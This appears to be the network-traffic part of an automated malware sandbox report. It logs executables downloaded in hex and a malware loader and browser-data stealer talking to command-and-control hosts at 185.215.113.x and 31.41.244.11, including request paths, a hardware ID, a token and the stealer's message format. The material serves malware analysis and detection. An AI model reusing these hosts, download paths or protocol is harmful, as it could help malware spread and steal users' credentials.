1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:23:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:23:10 GMTContent-Type: application/octet-streamContent-Length: 2805248Last-Modified: Sat, 23 Nov 2024 13:20:21 GMTConnection: keep-aliveETag: "6741d695-2ace00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 56 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 64 77 69 74 69 6e 76 00 80 2a 00 00 a0 00 00 00 6c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6a 66 62 7a 75 6a 67 00 20 00 00 00 20 2b 00 00 06 00 00 00 a6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 ac 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:23:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:23:17 GMTContent-Type: application/octet-streamContent-Length: 1985024Last-Modified: Sat, 23 Nov 2024 13:21:52 GMTConnection: keep-aliveETag: "6741d6f0-1e4a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4e 00 00 04 00 00 74 92 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 0d 4e 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 0c 4e 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2c 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6f 6b 61 68 73 78 6a 00 30 1b 00 00 e0 32 00 00 2e 1b 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 75 67 6c 75 73 75 70 00 10 00 00 00 10 4e 00 00 04 00 00 00 24 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4e 00 00 22 00 00 00 28 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732371949991Host: self.events.data.microsoft.comContent-Length: 7975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/5468191780.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008450001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/shellcode.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 38 34 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1008451001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008452001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008453001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 2d 2d 0d 0a Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="build"mars------DHIECGCAEBFIIDHIDGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"browsers------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"plugins------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="message"fplugins------EHJKFCGHIDHCBGDHJKEB--
